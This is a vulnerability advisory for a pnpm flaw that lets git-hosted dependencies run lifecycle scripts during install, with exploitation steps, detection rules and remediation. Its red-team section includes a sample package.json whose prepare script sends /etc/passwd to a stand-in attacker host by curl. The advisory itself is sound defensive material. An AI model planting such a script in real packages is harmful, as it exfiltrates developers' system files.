CVE-2025-69264

Executive Summary

CVE-2025-69264 is a critical vulnerability in the pnpm package manager (versions 10.0.0 through 10.25) that allows git-hosted dependencies to execute arbitrary code during pnpm install. This bypasses the v10 security feature "Dependency lifecycle scripts execution disabled by default". While pnpm v10 blocks postinstall scripts via the onlyBuiltDependencies mechanism, git dependencies can still execute prepare, prepublish, and prepack scripts during the fetch phase, enabling remote code execution without user consent or approval. The vulnerability has a CVSS score of 8.8 (High) and is fixed in version 10.26.0.

Supply Chain & Package Security

This vulnerability directly impacts the software supply chain. By exploiting git-hosted dependencies, an attacker can inject malicious code that executes during the package installation process. This can lead to the compromise of developer environments, CI/CD pipelines, and ultimately the software being distributed to end users. The attack vector is particularly dangerous because it bypasses the security mechanisms designed to prevent such execution.

CVSS Breakdown & Threat Level

• CVSS Score: 8.8 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

The high CVSS score reflects the ease of exploitation and the severe impact on confidentiality, integrity, and availability. No user interaction or privileges are required, making it a significant threat.

Deep Dive & Mechanics

The vulnerability lies in how pnpm handles git-hosted dependencies. When a dependency is specified with a git URL (e.g., git+https://...), pnpm fetches the repository and executes lifecycle scripts defined in the package.json of that dependency. The prepare, prepublish, and prepack scripts are executed during the fetch phase, before the onlyBuiltDependencies check is applied. This allows an attacker to craft a malicious git repository that executes arbitrary commands during installation.

The attack flow:

1. An attacker creates a malicious git repository with a package.json containing a prepare script that executes arbitrary code.
2. The attacker publishes this repository or tricks a developer into using it as a dependency.
3. When a developer runs pnpm install, pnpm fetches the repository and executes the prepare script.
4. The malicious code runs in the context of the developer's machine, potentially exfiltrating data, installing backdoors, or compromising the build environment.

Vulnerable vs. Patched Code

Vulnerable Code (pnpm < 10.26.0): The vulnerable code does not properly restrict the execution of lifecycle scripts for git-hosted dependencies. The onlyBuiltDependencies mechanism only blocks postinstall scripts, but prepare, prepublish, and prepack scripts are executed during the fetch phase without validation.

// Vulnerable: Executes prepare, prepublish, prepack scripts for git dependencies
async function fetchGitDependency(url) {
  const repo = await cloneRepo(url);
  const pkg = JSON.parse(await readFile(path.join(repo, 'package.json')));
  if (pkg.scripts) {
    // No check for allowed scripts
    await executeScript(pkg.scripts.prepare);
    await executeScript(pkg.scripts.prepublish);
    await executeScript(pkg.scripts.prepack);
  }
}

Patched Code (pnpm >= 10.26.0): The patched code adds a check to ensure that only allowed scripts are executed for git-hosted dependencies. The onlyBuiltDependencies mechanism is extended to cover all lifecycle scripts during the fetch phase.

// Patched: Only execute allowed scripts for git dependencies
async function fetchGitDependency(url) {
  const repo = await cloneRepo(url);
  const pkg = JSON.parse(await readFile(path.join(repo, 'package.json')));
  if (pkg.scripts) {
    // Check if the dependency is in the allowed list
    if (isAllowedDependency(pkg.name)) {
      await executeScript(pkg.scripts.prepare);
      await executeScript(pkg.scripts.prepublish);
      await executeScript(pkg.scripts.prepack);
    }
  }
}

Exploitation & Lab Setup

Red Team

Exploitation Steps:

1. Create a malicious git repository with a package.json containing a prepare script that executes arbitrary code.
2. Host the repository on a public git hosting service (e.g., GitHub, GitLab).
3. Trick a developer into adding the repository as a dependency in their package.json (e.g., via social engineering or by compromising a legitimate package).
4. When the developer runs pnpm install, the malicious script executes.

Example Malicious package.json:

{
  "name": "malicious-package",
  "version": "1.0.0",
  "scripts": {
    "prepare": "curl http://attacker.com/exfil?data=$(cat /etc/passwd)"
  }
}

Example Dependency Declaration:

{
  "dependencies": {
    "malicious-package": "git+https://github.com/attacker/malicious-package.git"
  }
}

Blue Team

Detection Steps:

1. Monitor for unusual network connections during pnpm install (e.g., connections to unknown IPs or domains).
2. Audit package.json and pnpm-lock.yaml for git-hosted dependencies.
3. Use static analysis tools to scan for suspicious scripts in dependencies.
4. Implement network segmentation to limit the impact of compromised build environments.

Hunting Queries:

• Search for git URLs in package.json and pnpm-lock.yaml.
• Monitor process execution for pnpm with arguments related to git dependencies.
• Alert on execution of prepare, prepublish, or prepack scripts during package installation.

Indicators of Compromise (IOCs)

• Network: Outbound connections to unknown IPs or domains during pnpm install.
• File System: Unexpected files created in the node_modules directory.
• Process: Execution of pnpm with git URLs in the command line.
• Logs: Entries in pnpm-debug.log indicating execution of lifecycle scripts for git dependencies.
• Registry: Unusual entries in pnpm-lock.yaml with git URLs.

Detection Engineering

YARA Rule

rule CVE_2025_69264_pnpm_git_dependency
{
    meta:
        description = "Detects pnpm git-hosted dependencies that may exploit CVE-2025-69264"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-69264"
        hash = "unknown"
    strings:
        $git_url = /git\+https?:\/\/[^\s"]+/ nocase
        $prepare_script = /"prepare"\s*:\s*"[^"]*"/ nocase
        $prepublish_script = /"prepublish"\s*:\s*"[^"]*"/ nocase
        $prepack_script = /"prepack"\s*:\s*"[^"]*"/ nocase
    condition:
        $git_url and ($prepare_script or $prepublish_script or $prepack_script)
}

Sigma Rule

title: CVE-2025-69264 - pnpm Git Dependency Execution
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects execution of pnpm with git-hosted dependencies that may exploit CVE-2025-69264
author: Valters IT
date: 2025-01-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-69264
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\pnpm.exe'
        CommandLine|contains: 'git+https://'
    condition: selection
falsepositives:
    - Legitimate use of git-hosted dependencies
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-69264 - pnpm Git Dependency Fetch"; flow:to_server; content:"git+https://"; http_uri; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade pnpm to version 10.26.0 or later.
2. Audit all existing projects for git-hosted dependencies and review their package.json for suspicious scripts.
3. Implement network monitoring to detect unusual outbound connections during package installation.

Long-term Mitigations:

1. Use a private package registry with strict access controls.
2. Implement code review processes for all dependencies, especially git-hosted ones.
3. Use containerized build environments to limit the impact of compromised dependencies.
4. Regularly update pnpm and other development tools.

Workarounds:

• If upgrading is not immediately possible, manually review all git-hosted dependencies and ensure they are from trusted sources.
• Use pnpm config set onlyBuiltDependencies to restrict allowed scripts, though note this may not fully mitigate the vulnerability.

Valters IT